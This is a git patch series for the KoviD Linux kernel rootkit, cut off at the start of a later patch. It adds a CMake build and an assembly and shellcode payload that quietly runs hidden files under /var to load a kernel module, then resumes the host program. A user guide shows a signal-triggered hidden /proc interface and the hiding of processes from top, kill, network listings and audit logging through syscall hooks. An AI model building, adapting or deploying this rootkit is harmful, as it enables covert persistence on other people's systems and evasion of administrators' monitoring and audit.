From 4fb4ef7d7b28d1fdccdcc839e03adc16b97beca4 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Tue, 22 Oct 2024 09:47:10 +0200 Subject: [PATCH 1/8] Add CMake build system --- CMakeLists.txt | 122 +++++++++++++++++++++++++++++++++++++++ src/persist.S.in | 144 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 266 insertions(+) create mode 100644 CMakeLists.txt create mode 100644 src/persist.S.in diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..87c083a --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,122 @@ +cmake_minimum_required(VERSION 3.10) +project(kovid) + +# Step 1: Define Kernel Version Variable +execute_process( + COMMAND uname -r + OUTPUT_VARIABLE CURRENT_KERNEL_VERSION + OUTPUT_STRIP_TRAILING_WHITESPACE +) +set(KOVID_LINUX_VERSION "${CURRENT_KERNEL_VERSION}" CACHE STRING "Linux kernel version to build against") +message("-- Linux Target: ${KOVID_LINUX_VERSION}") + +# Step 2: Allow user to specify the kernel directory +set(KERNEL_DIR "/lib/modules/${KOVID_LINUX_VERSION}/build" CACHE PATH "Path to the kernel source or headers for version ${KOVID_LINUX_VERSION}") + +# Step 3: Check for Kernel Headers +if(NOT EXISTS "${KERNEL_DIR}") + message(FATAL_ERROR "Kernel headers for version ${KOVID_LINUX_VERSION} not found in ${KERNEL_DIR}") +endif() +message("-- Linux Headers: ${KERNEL_DIR}") + +# Step 4: Find Necessary Programs +find_program(LD ld) +find_program(AS as) +find_program(CTAGS ctags) +find_program(JOURNALCTL journalctl) +find_program(UUIDGEN uuidgen) + +set(CMAKE_C_COMPILER "gcc") + +# Step 5: Get UUID +execute_process( + COMMAND ${UUIDGEN} + OUTPUT_VARIABLE UUIDGEN_OUTPUT + OUTPUT_STRIP_TRAILING_WHITESPACE +) + +# Step 6: Define Build Options +option(DEPLOY "Turn off ring buffer debug" OFF) +set(PROCNAME "changeme" CACHE STRING "Process name") +set(MODNAME "kovid" CACHE STRING "Module name") + +if(NOT DEPLOY) + set(DEBUG_PR -DDEBUG_RING_BUFFER) +endif() + +# Define COMPILER_OPTIONS as a list +set(COMPILER_OPTIONS + -Wno-error + "-DPROCNAME=\"${PROCNAME}\"" + "-DMODNAME=\"${MODNAME}\"" + -DKSOCKET_EMBEDDED + ${DEBUG_PR} + -DCPUHACK + -DPRCTIMEOUT=1200 + "-DUUIDGEN=\"${UUIDGEN_OUTPUT}\"" + "-DJOURNALCTL=\"${JOURNALCTL}\"" +) + +# Combine the list into a space-separated string +string(JOIN " " COMPILER_OPTIONS_STR ${COMPILER_OPTIONS}) + +# Define EXTRA_CFLAGS as a list and join it into a string +set(EXTRA_CFLAGS_LIST + "-I${KERNEL_DIR}/include" + "-I${CMAKE_CURRENT_SOURCE_DIR}/src" + "-I${CMAKE_CURRENT_SOURCE_DIR}/fs" + "-I$(KERNEL_DIR)/include/generated" + ${COMPILER_OPTIONS} +) + +string(JOIN " " EXTRA_CFLAGS_STR ${EXTRA_CFLAGS_LIST}) + +message("-- Extra CFLAGS: ${EXTRA_CFLAGS_STR}") + +# Step 7: Define Source Files and Extra Flags +set(SRC + src/${MODNAME}.c + src/pid.c + src/fs.c + src/sys.c + src/sock.c + src/util.c + src/vm.c +) + +# Step 8: Create the 'persist' Target using configure_file +set(UUIDGEN_SH "${UUIDGEN_OUTPUT}.sh") +set(UUIDGEN_KO "${UUIDGEN_OUTPUT}.ko") + +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/src/persist.S.in ${CMAKE_CURRENT_BINARY_DIR}/persist.S @ONLY) + +add_custom_command( + OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/persist.o ${CMAKE_CURRENT_BINARY_DIR}/persist + COMMAND ${AS} --64 ${CMAKE_CURRENT_BINARY_DIR}/persist.S -statistics -fatal-warnings -size-check=error -o ${CMAKE_CURRENT_BINARY_DIR}/persist.o + COMMAND ${LD} -Ttext 200000 --oformat binary -o ${CMAKE_CURRENT_BINARY_DIR}/persist ${CMAKE_CURRENT_BINARY_DIR}/persist.o + DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/persist.S + COMMENT "Building persist binary" +) + +# Step 9: Rename the custom target to avoid name collision +add_custom_target(build_persist DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/persist) + +# Step 10: Create the 'kovid' Target +add_custom_target(kovid ALL + DEPENDS build_persist + COMMAND make -C "${KERNEL_DIR}" M="${CMAKE_CURRENT_SOURCE_DIR}" modules KBUILD_EXTRA_CFLAGS="${EXTRA_CFLAGS_STR}" V=1 + COMMENT "Building kovid kernel module" +) + +# Step 11: Handle Cleaning +add_custom_target(clean-kovid + COMMAND make -C "${KERNEL_DIR}" M="${CMAKE_CURRENT_SOURCE_DIR}" clean + COMMAND ${CMAKE_COMMAND} -E rm -f ${CMAKE_CURRENT_BINARY_DIR}/persist ${CMAKE_CURRENT_BINARY_DIR}/persist.o ${CMAKE_CURRENT_BINARY_DIR}/persist.S + COMMENT "Cleaning kovid module" +) + +# Step 12: Copy the kovid.ko file to the build directory +add_custom_command(TARGET kovid POST_BUILD + COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/kovid.ko ${CMAKE_CURRENT_BINARY_DIR}/kovid.ko + COMMENT "Copying kovid.ko to build directory" +) diff --git a/src/persist.S.in b/src/persist.S.in new file mode 100644 index 0000000..ff135ff --- /dev/null +++ b/src/persist.S.in @@ -0,0 +1,144 @@ +/** + * Linux Kernel version <= 5.8.0 + * - hash + * + * KoviD rootkit + * + * This code is designed to serve as the payload for Volundr. + * + * While it can be readily customized to execute other commands, + * its primary purpose is to load a Linux Kernel Module (LKM) quietly. + * + * Make sure to read this! You will need the 'loadmodule.sh' script: + * + * ---snip--- + * #!/bin/bash + * /sbin/insmod $1 2>/dev/null + * ---snip--- + * + * \x50\x51\x52\x56\x57\x41\x53\xb8\x39\x00\x00\x00\x0f\x05\x83\xf8\x00\x75 + * \x31\x48\x8d\x05\xb9\x00\x00\x00\x48\x8d\x3d\xa6\x00\x00\x00\x48\x31\xd2 + * \x52\x50\x57\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x8f\x00 + * \x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\xb8\x02\x00\x00 + * \x00\x48\x8d\x3d\x8f\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x0f\x05\x48 + * \x83\xec\x10\x48\x89\xc7\xb8\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x11 + * \x00\x00\x00\x0f\x05\x48\xc7\xc1\x12\x00\x00\x00\xb0\x2d\x48\x89\xe7\xfc + * \xf2\xae\x49\xc7\xc5\x11\x00\x00\x00\x49\x29\xcd\x4c\x89\xe9\x48\x31\xdb + * \x48\x89\xe6\x48\x89\xf7\xfc\xac\x3c\x39\x7e\x04\x2c\x57\xeb\x02\x2c\x30 + * \x48\xc1\xe3\x04\x48\x09\xc3\xaa\xe2\xeb\x48\x83\xc4\x10\x49\xb8\x88\x77 + * \x66\x55\x44\x33\x22\x11\x49\x01\xd8\x41\x5b\x5f\x5e\x5a\x59\x58\x41\xff + * \xe0\x2f\x76\x61\x72\x2f\x2e\x6c\x6d\x2e\x73\x68\x2f\x76\x61\x72\x2f\x2e + * \x6b\x76\x2e\x6b\x6f\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61 + * \x70\x73 + */ + +.globl _start + +.equ SYS_read, 0 +.equ SYS_write, 1 +.equ SYS_open, 2 +.equ SYS_fork, 57 +.equ SYS_execve, 59 +.equ MAXLEN, 17 + +.text + +_start: + push %rax # 50 ; save registers + push %rcx # 51 + push %rdx # 52 + push %rsi # 56 + push %rdi # 57 + push %r11 # 41 53 + + mov $SYS_fork, %eax # b8 39 00 00 00 ; Call sys_execve soon + syscall # 0f 05 ; and for so, sys_fork is required first + cmp $0, %eax # 83 f8 00 ; otherwise the flow breaks + + jne fuckoff # 75 31 ; jne 0x00000044 + + leaq modname(%rip), %rax # 48 8d 05 b9 00 00 00 ; lea 0xb9(%rip),%rax 0x000000d3 # 2nd argument for execve: module name + leaq insmodwrapper(%rip), %rdi # 48 8d 3d a6 00 00 00 ; lea 0xa6(%rip),%rdi 0x000000c7 # 1st argument + + xor %rdx, %rdx # 48 31 d2 ; prepare to push args onto stack + pushq %rdx # 52 + pushq %rax # 50 + pushq %rdi # 57 + movq %rsp, %rsi # 48 89 e6 + + movq $SYS_execve, %rax # 48 c7 c0 3b 00 00 00 ; execute loadmodule script + leaq insmodwrapper(%rip), %rdi # 48 8d 3d 8f 00 00 00 ; 0x000000c7 + movq $0, %rdx # 48 c7 c2 00 00 00 00 + syscall # 0f 05 + + xor %rax, %rax # 48 31 c0 + +fuckoff: + movl $SYS_open, %eax # b8 02 00 00 00 ; R/O open maps file + leaq path(%rip), %rdi # 48 8d 3d 8f 00 00 00 ; 0x000000df + movq $0, %rsi # 48 c7 c6 00 00 00 00 + syscall # 0f 05 + + subq $16, %rsp # 48 83 ec 10 ; reserve stack for buffer + + movq %rax, %rdi # 48 89 c7 ; read up to MAXLEN bytes + movl $SYS_read, %eax # b8 00 00 00 00 + movq %rsp, %rsi # 48 89 e6 + movq $MAXLEN, %rdx # 48 c7 c2 11 00 00 00 + syscall # 0f 05 + +scan: # ; scan the buffer for the fist '-' character + movq $MAXLEN+1, %rcx # 48 c7 c1 12 00 00 00 ; initialize counter + movb $'-', %al # b0 2d ; store the wild-card in %al byte + movq %rsp, %rdi # 48 89 e7 + cld # fc + repne scasb # f2 ae + + movq $MAXLEN, %r13 # 49 c7 c5 11 00 00 00 ; rcx = (MAXLEN-rcx) + subq %rcx, %r13 # 49 29 cd + movq %r13, %rcx # 4c 89 e9 + + xor %rbx, %rbx # 48 31 db ; prepare to read from the result buffer + movq %rsp, %rsi # 48 89 e6 + movq %rsi, %rdi # 48 89 f7 + cld # fc +readchars: # ; convert result to hex absolute + lodsb # ac + cmpb $0x39, %al # 3c 39 ; if it is a digit, jmp and extract + jle digit # 7e 04 +alpha: + subb $0x57, %al # 2c 57 ; it is alpha + jmp load_ebx # eb 02 +digit: + subb $0x30, %al # 2c 30 ; it is digit +load_ebx: + shl $4, %rbx # 48 c1 e3 04 + or %rax, %rbx # 48 09 c3 + stosb # aa + loop readchars # e2 eb + + addq $16, %rsp # 48 83 c4 10 ; at this point %rbx holds the offset, realign %rsp + # ; dummy jmp address, is overwritten at run-time with the actual entry point + movq $0x1122334455667788, %r8 # 49 b8 88 77 66 55 44 3 ; 3 22 11 $0x1122334455667788 + + addq %rbx, %r8 # 49 01 d8 ; store offset value in %r8 + + pop %r11 # 41 5b ; restore registers + pop %rdi # 5f + pop %rsi # 5e + pop %rdx # 5a + pop %rcx # 59 + pop %rax # 58 + + jmpq *%r8 # 41 ff e0 ; jmp to address stored + + # wrapper for insmod and module name + insmodwrapper: .asciz "/var/.lm.sh" + + # rename this to real name + modname: .asciz "/var/.kv.ko" + + # This is so I can find myself + path: .asciz "/proc/self/maps" + + From 0d0996f8a7f7ff2b6171c4f16a206b4968d5b834 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Tue, 22 Oct 2024 09:54:51 +0200 Subject: [PATCH 2/8] docs: Add TestFeatures.md --- docs/TestFeatures.md | 87 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 docs/TestFeatures.md diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md new file mode 100644 index 0000000..0d9b8f7 --- /dev/null +++ b/docs/TestFeatures.md @@ -0,0 +1,87 @@ +# Manual testing of KoviD features + +This document describes the process of testing the features of Kovid LKM. +Please see `docs/QEMUSetupForTesting.md` that contains info for qemu setup. + + +## Build KoviD + +Old way (using pre-existing GNU Makefile): +``` +$ cd KoviD +$ make clean && make CC=gcc-12 +``` + +New way by using CMake: + +``` +$ mkdir build && cd build +$ cmake ../KoviD/ -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 +``` + +or + +``` +$ cmake ../KoviD/ && make +``` + +NOTE: You can customize it: + +``` +$ cmake -DPROCNAME=myproc -DMODNAME=mymodule ../KoviD +``` + +### Building for Linux version other than native + +``` +$ cmake ../KoviD/ -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc-12 && make CC=gcc-12 +-- The C compiler identification is GNU 12.3.0 +-- The CXX compiler identification is GNU 11.4.0 +-- Detecting C compiler ABI info +-- Detecting C compiler ABI info - done +-- Check for working C compiler: /usr/bin/gcc-12 - skipped +-- Detecting C compile features +-- Detecting C compile features - done +-- Detecting CXX compiler ABI info +-- Detecting CXX compiler ABI info - done +-- Check for working CXX compiler: /usr/bin/c++ - skipped +-- Detecting CXX compile features +-- Detecting CXX compile features - done +CMake Error at CMakeLists.txt:14 (message): + Kernel headers for version 5.10 not found in /lib/modules/5.10/build + + +-- Configuring incomplete, errors occurred! +See also "build_kovid/CMakeFiles/CMakeOutput.log". +``` + +But lets say we built `linux` in `projects/private/kovid/linux`, we can set up manually the variables: + +``` +~/projects/private/kovid/build_kovid$ cmake ../KoviD/ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc +-- The C compiler identification is GNU 11.4.0 +-- The CXX compiler identification is GNU 11.4.0 +-- Detecting C compiler ABI info +-- Detecting C compiler ABI info - done +-- Check for working C compiler: /usr/bin/gcc - skipped +-- Detecting C compile features +-- Detecting C compile features - done +-- Detecting CXX compiler ABI info +-- Detecting CXX compiler ABI info - done +-- Check for working CXX compiler: /usr/bin/c++ - skipped +-- Detecting CXX compile features +-- Detecting CXX compile features - done +-- Linux Target: 5.10 +-- Linux Headers: projects/private/kovid/linux +-- Extra CFLAGS: -Iprojects/private/kovid/linux/include -Iprojects/private/kovid/KoviD/src -Iprojects/private/kovid/KoviD/fs -I$(KERNEL_DIR)/include/generated -Wno-error -DPROCNAME="changeme" -DMODNAME="kovid" -DKSOCKET_EMBEDDED -DDEBUG_RING_BUFFER -DCPUHACK -DPRCTIMEOUT=1200 -DUUIDGEN="5a803031-366c-4070-8656-1f940a2467b8" -DJOURNALCTL="/usr/bin/journalctl" +-- Configuring done +-- Generating done +-- Build files have been written to: projects/private/kovid/build_kovid +$ make +``` + +## Linux Kernel 5.10 + +1. Hide itself + +TODO From 65b87598d43b8f23abbed88dc711a090195b3785 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Wed, 23 Oct 2024 10:01:13 +0200 Subject: [PATCH 3/8] Rename tests --> tools --- {tests => tools}/Cargo.lock | 0 {tests => tools}/Cargo.toml | 0 {tests => tools}/src/main.rs | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename {tests => tools}/Cargo.lock (100%) rename {tests => tools}/Cargo.toml (100%) rename {tests => tools}/src/main.rs (100%) diff --git a/tests/Cargo.lock b/tools/Cargo.lock similarity index 100% rename from tests/Cargo.lock rename to tools/Cargo.lock diff --git a/tests/Cargo.toml b/tools/Cargo.toml similarity index 100% rename from tests/Cargo.toml rename to tools/Cargo.toml diff --git a/tests/src/main.rs b/tools/src/main.rs similarity index 100% rename from tests/src/main.rs rename to tools/src/main.rs From fc6b826ea06fa415014e27575b02d15802be0688 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Wed, 23 Oct 2024 11:04:26 +0200 Subject: [PATCH 4/8] Adding tests Added dummy test. But infra is added. --- CMakeLists.txt | 4 ++++ docs/TestFeatures.md | 20 +++++++++++++++++ test/CMakeLists.txt | 36 +++++++++++++++++++++++++++++ test/dummy/ls.test | 6 +++++ test/lit.cfg.py | 50 +++++++++++++++++++++++++++++++++++++++++ test/lit.site.cfg.py.in | 9 ++++++++ 6 files changed, 125 insertions(+) create mode 100644 test/CMakeLists.txt create mode 100644 test/dummy/ls.test create mode 100644 test/lit.cfg.py create mode 100644 test/lit.site.cfg.py.in diff --git a/CMakeLists.txt b/CMakeLists.txt index 87c083a..5a5a5e7 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -28,6 +28,8 @@ find_program(UUIDGEN uuidgen) set(CMAKE_C_COMPILER "gcc") +set(KOVID_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}) + # Step 5: Get UUID execute_process( COMMAND ${UUIDGEN} @@ -120,3 +122,5 @@ add_custom_command(TARGET kovid POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_CURRENT_SOURCE_DIR}/kovid.ko ${CMAKE_CURRENT_BINARY_DIR}/kovid.ko COMMENT "Copying kovid.ko to build directory" ) + +add_subdirectory(test) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 0d9b8f7..9fa3c49 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -80,6 +80,26 @@ But lets say we built `linux` in `projects/private/kovid/linux`, we can set up m $ make ``` +### Run tests + +Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: + +``` +sudo apt-get install llvm-18-dev +sudo apt-get install llvm-18-tools +``` + +Run tests: + +``` +$ make check-kovid V=1 +[100%] Running the KOVID regression tests + +Testing Time: 0.01s + Passed: 1 +[100%] Built target check-kovid +``` + ## Linux Kernel 5.10 1. Hide itself diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt new file mode 100644 index 0000000..9936bf6 --- /dev/null +++ b/test/CMakeLists.txt @@ -0,0 +1,36 @@ +find_package(LLVM REQUIRED CONFIG) + +message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}") + +include(AddLLVM) + +# Find the paths to FileCheck and not +find_program(FILECHECK_EXE FileCheck-18) +find_program(NOT_EXE not-18) + +if(NOT FILECHECK_EXE) + message(FATAL_ERROR "FileCheck executable not found!") +endif() + +if(NOT NOT_EXE) + message(FATAL_ERROR "'not' executable not found!") +endif() + +# Pass the paths to lit via configure_file +set(FILECHECK_PATH "${FILECHECK_EXE}") +set(NOT_PATH "${NOT_EXE}") + +configure_lit_site_cfg( + ${CMAKE_CURRENT_SOURCE_DIR}/lit.site.cfg.py.in + ${CMAKE_CURRENT_BINARY_DIR}/lit.site.cfg.py + MAIN_CONFIG + ${CMAKE_CURRENT_SOURCE_DIR}/lit.cfg.py +) + +add_lit_testsuite(check-kovid "Running the KOVID regression tests" + ${CMAKE_CURRENT_BINARY_DIR} + DEPENDS ${KOVID_TEST_DEPENDS} + ) +set_target_properties(check-kovid PROPERTIES FOLDER "Tests") + +add_lit_testsuites(KOVID ${CMAKE_CURRENT_SOURCE_DIR} DEPENDS ${KOVID_TEST_DEPENDS}) diff --git a/test/dummy/ls.test b/test/dummy/ls.test new file mode 100644 index 0000000..f45c52d --- /dev/null +++ b/test/dummy/ls.test @@ -0,0 +1,6 @@ +# RUN: ls %s | FileCheck-18 %s + +## Here we will be able to invoke qemu-system and to load kovid.ko +## and to check the stdout. Yee, we have the tests! + +# CHECK: {{.*}}/ls.test diff --git a/test/lit.cfg.py b/test/lit.cfg.py new file mode 100644 index 0000000..55f9540 --- /dev/null +++ b/test/lit.cfg.py @@ -0,0 +1,50 @@ +# -*- Python -*- + +import os +import platform +import re +import subprocess +import tempfile + +import lit.formats +import lit.util + +from lit.llvm import llvm_config +from lit.llvm.subst import ToolSubst +from lit.llvm.subst import FindTool + +# Configuration file for the 'lit' test runner. + +# name: The name of this test suite. +config.name = "KOVID" + +config.test_format = lit.formats.ShTest(not llvm_config.use_lit_shell) + +# suffixes: A list of file extensions to treat as test files. +config.suffixes = [".c", ".test"] + +# test_source_root: The root path where tests are located. +config.test_source_root = os.path.dirname(__file__) + +# test_exec_root: The root path where tests should be run. +config.test_exec_root = os.path.join(config.kovid_obj_root, "test") + +config.substitutions.append(("%PATH%", config.environment["PATH"])) + +llvm_config.with_system_environment(["HOME", "INCLUDE", "LIB", "TMP", "TEMP"]) + +# excludes: A list of directories to exclude from the testsuite. The 'Inputs' +# subdirectories contain auxiliary inputs for various tests in their parent +# directories. +config.excludes = ["Inputs", "Examples", "CMakeLists.txt", "README.txt", "LICENSE.txt"] + +# test_exec_root: The root path where tests should be run. +config.test_exec_root = os.path.join(config.kovid_obj_root, "test") + +# Get the paths from the site configuration +filecheck_path = getattr(config, 'filecheck_path', 'FileCheck-18') +not_path = getattr(config, 'not_path', 'not-18') + +# Add substitutions +config.substitutions.append(('%FileCheck-18', filecheck_path)) +config.substitutions.append(('%not-18', not_path)) diff --git a/test/lit.site.cfg.py.in b/test/lit.site.cfg.py.in new file mode 100644 index 0000000..092aa86 --- /dev/null +++ b/test/lit.site.cfg.py.in @@ -0,0 +1,9 @@ +@LIT_SITE_CFG_IN_HEADER@ + +config.kovid_obj_root= "@CMAKE_BINARY_DIR@/" + +import lit.llvm +lit.llvm.initialize(lit_config, config) + +# Let the main config do the real work. +lit_config.load_config(config, "@KOVID_SOURCE_DIR@/test/lit.cfg.py") From 870f318a19df94cba564000a881b170d95f05e23 Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Thu, 24 Oct 2024 14:10:42 +0200 Subject: [PATCH 5/8] build: Force PROCNAME def during build time Force `make PROCNAME="something"` --- CMakeLists.txt | 2 -- Makefile | 16 ++++++++++++++-- docs/TestFeatures.md | 9 +++++++++ 3 files changed, 23 insertions(+), 4 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 5a5a5e7..5b43e9b 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -39,8 +39,6 @@ execute_process( # Step 6: Define Build Options option(DEPLOY "Turn off ring buffer debug" OFF) -set(PROCNAME "changeme" CACHE STRING "Process name") -set(MODNAME "kovid" CACHE STRING "Module name") if(NOT DEPLOY) set(DEBUG_PR -DDEBUG_RING_BUFFER) diff --git a/Makefile b/Makefile index 8a88d9c..f713d92 100644 --- a/Makefile +++ b/Makefile @@ -12,8 +12,20 @@ CTAGS=$(shell which ctags)) JOURNALCTL := $(shell which journalctl) UUIDGEN := $(shell uuidgen) -# PROCNAME, /proc/ interface. You must change it. -COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \ +# TODO: Check if we can generate a random PROCNAME, something like: +# PROCNAME ?= $(shell uuidgen | cut -c1-8) + +ifeq ($(origin PROCNAME), undefined) + $(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name") +else ifeq ($(strip $(PROCNAME)),) + $(error ERROR: PROCNAME is empty. Please set PROCNAME to a non-empty value) +endif + +# Display the selected PROCNAME during the build +$(info -- Selected PROCNAME is $(PROCNAME)) + +# PROCNAME, /proc/ interface. +COMPILER_OPTIONS := -Wall -DPROCNAME='"$(PROCNAME)"' \ -DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200 \ -DUUIDGEN=\"$(UUIDGEN)\" -DJOURNALCTL=\"$(JOURNALCTL)\" diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 9fa3c49..8a1ec9d 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -77,7 +77,16 @@ But lets say we built `linux` in `projects/private/kovid/linux`, we can set up m -- Configuring done -- Generating done -- Build files have been written to: projects/private/kovid/build_kovid +$ make PROCNAME="mykovidproc" +-- Selected PROCNAME is mykovidproc +``` + +If you miss the `PROCNAME`, it will emit an error during build time: + +``` $ make +... +*** ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name". Stop. ``` ### Run tests From bcfe284330d7b815605bd6aa650eb8892e2d14ed Mon Sep 17 00:00:00 2001 From: Djordje Todorovic Date: Thu, 24 Oct 2024 18:03:23 +0200 Subject: [PATCH 6/8] docs: Add simple use-case --- docs/UserGuide.md | 140 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 docs/UserGuide.md diff --git a/docs/UserGuide.md b/docs/UserGuide.md new file mode 100644 index 0000000..3787500 --- /dev/null +++ b/docs/UserGuide.md @@ -0,0 +1,140 @@ +# User guide + +First, ensure that you've built the LKM (Loadable Kernel Module). Let's say its name is `kovid.ko`. +To load the LKM, use the following command: + +``` +# insmod kovid.ko +``` + +You should see output similar to this: +``` +[ 97.774022] version 2.0.0 +[ 97.789236] kv: using kprobe for kallsyms_lookup_name +[ 97.801020] invalid data: bpf_map_get will not work +[ 97.812963] add sysaddr: ffffffff8187ea90 +[ 97.826660] Installing: 'sys_exit_group' syscall=1 +[ 97.838647] add sysaddr: ffffffff8186c430 +[ 97.845733] Installing: 'sys_clone' syscall=1 +[ 97.857663] add sysaddr: ffffffff81866940 +[ 97.864522] Installing: 'sys_kill' syscall=1 +[ 97.876814] add sysaddr: ffffffff81879880 +[ 97.883672] Installing: 'sys_read' syscall=1 +[ 97.897356] add sysaddr: ffffffff819f4c50 +[ 97.904322] Installing: 'sys_bpf' syscall=1 +[ 97.916497] add sysaddr: ffffffff8188bf80 +[ 97.923767] Installing: 'tcp4_seq_show' syscall=0 +[ 97.940202] Installing: 'udp4_seq_show' syscall=0 +[ 97.956733] Installing: 'tcp6_seq_show' syscall=0 +[ 97.976237] Installing: 'udp6_seq_show' syscall=0 +[ 97.993105] Installing: 'packet_rcv' syscall=0 +[ 98.009972] Installing: 'tpacket_rcv' syscall=0 +[ 98.027238] Installing: 'account_process_tick' syscall=0 +[ 98.034914] Installing: 'account_system_time' syscall=0 +[ 98.042575] Installing: 'audit_log_start' syscall=0 +[ 98.050958] Installing: 'filldir' syscall=0 +[ 98.061948] Installing: 'filldir64' syscall=0 +[ 98.072683] Installing: 'tty_read' syscall=0 +[ 98.085251] Installing: 'proc_dointvec' syscall=0 +[ 98.092877] ftrace hook 0 on sys_exit_group +[ 98.092986] ftrace hook 1 on sys_clone +[ 98.093039] ftrace hook 2 on sys_kill +[ 98.093101] ftrace hook 3 on sys_read +[ 98.093164] ftrace hook 4 on sys_bpf +[ 98.093226] ftrace hook 5 on tcp4_seq_show +[ 98.093294] ftrace hook 6 on udp4_seq_show +[ 98.093364] ftrace hook 7 on tcp6_seq_show +[ 98.093488] ftrace hook 8 on udp6_seq_show +[ 98.093560] ftrace hook 9 on packet_rcv +[ 98.093624] ftrace hook 10 on tpacket_rcv +[ 98.093700] ftrace hook 11 on account_process_tick +[ 98.093780] ftrace hook 12 on account_system_time +[ 98.093860] ftrace hook 13 on audit_log_start +[ 98.093933] ftrace hook 14 on filldir +[ 98.093995] ftrace hook 15 on filldir64 +[ 98.094060] ftrace hook 16 on tty_read +[ 98.094122] ftrace hook 17 on proc_dointvec +[ 98.096047] Waiting for event +[ 98.096392] hide [0000000037b8b334] irq/102_pciehp : 130 +[ 98.096959] hide [00000000bbbd2bda] irq/101_pciehp : 129 +[ 98.097074] hide [00000000a395b0d4] irq/100_pciehp : 127 +[ 98.097168] hide [000000009cf2760e] irq/103_pciehp : 128 +[ 98.097484] loaded. +``` + +Make sure you remember what value you used for `PROCNAME` during the build process. +Now, let’s use our trick—specifically, the signal that opens and closes the `/proc` files: + +``` +# kill -CONT 31337 +``` +By doing this, we should see our `proc` loaded: +``` +# kill -CONT 31337 +[ 929.419542] /proc/myprocname loaded, timeout: 1200s +``` + +## A simple feature + +The `top` command shows `a.out` process: + +``` +Mem: 34248K used, 67184K free, 80K shrd, 324K buff, 10544K cached +CPU: 90% usr 9% sys 0% nic 0% idle 0% io 0% irq 0% sirq +Load average: 3.77 3.50 2.27 2/49 146 + PID PPID USER STAT VSZ %VSZ %CPU COMMAND + 133 112 root R 2336 2% 100% ./a.out + 111 1 root S 9824 10% 0% sshd: /usr/sbin/sshd [listener] 0 of 1 +``` + +To hide the process: + +``` +# echo 133 > /proc/myprocname +[ 1012.760147] hide [00000000fd76f643] a.out : 133 +``` + +Attempting to kill the process: + +``` +# kill -9 133 +sh: can't kill pid 133: No such process +``` + +The process is no longer visible in the `top` command either. +When we unload the LKM, the process becomes visible again: + +``` +# rmmod kovid.ko +[ 800.659219] Uninstalling: 'sys_exit_group' syscall=1 +[ 800.673635] Uninstalling: 'sys_clone' syscall=1 +[ 800.772610] Uninstalling: 'sys_kill' syscall=1 +[ 800.876607] Uninstalling: 'sys_read' syscall=1 +[ 800.980667] Uninstalling: 'sys_bpf' syscall=1 +[ 801.084634] Uninstalling: 'tcp4_seq_show' syscall=0 +[ 801.188588] Uninstalling: 'udp4_seq_show' syscall=0 +[ 801.292584] Uninstalling: 'tcp6_seq_show' syscall=0 +[ 801.396669] Uninstalling: 'udp6_seq_show' syscall=0 +[ 801.500613] Uninstalling: 'packet_rcv' syscall=0 +[ 801.604574] Uninstalling: 'tpacket_rcv' syscall=0 +[ 801.708578] Uninstalling: 'account_process_tick' syscall=0 +[ 801.812584] Uninstalling: 'account_system_time' syscall=0 +[ 801.916587] Uninstalling: 'audit_log_start' syscall=0 +[ 802.020593] Uninstalling: 'filldir' syscall=0 +[ 802.124594] Uninstalling: 'filldir64' syscall=0 +[ 802.228660] Uninstalling: 'tty_read' syscall=0 +[ 802.332614] Uninstalling: 'proc_dointvec' syscall=0 +[ 802.448088] unhide [0000000037b8b334] irq/102_pciehp : 130 +[ 802.448256] unhide [00000000bbbd2bda] irq/101_pciehp : 129 +[ 802.448341] unhide [00000000a395b0d4] irq/100_pciehp : 127 +[ 802.448921] unhide [000000009cf2760e] irq/103_pciehp : 128 +[ 802.449082] unhide [00000000fd76f643] a.out : 133 +[ 802.449184] stop sniff thread +[ 802.449290] Got event +[ 802.449338] BD watchdog OFF +[ 802.692971] stop proc timeout thread +[ 803.612482] /proc/myprocname unloaded. +[ 803.612819] stop tainted thread +[ 804.956719] unloaded. +# kill -9 133 +``` From 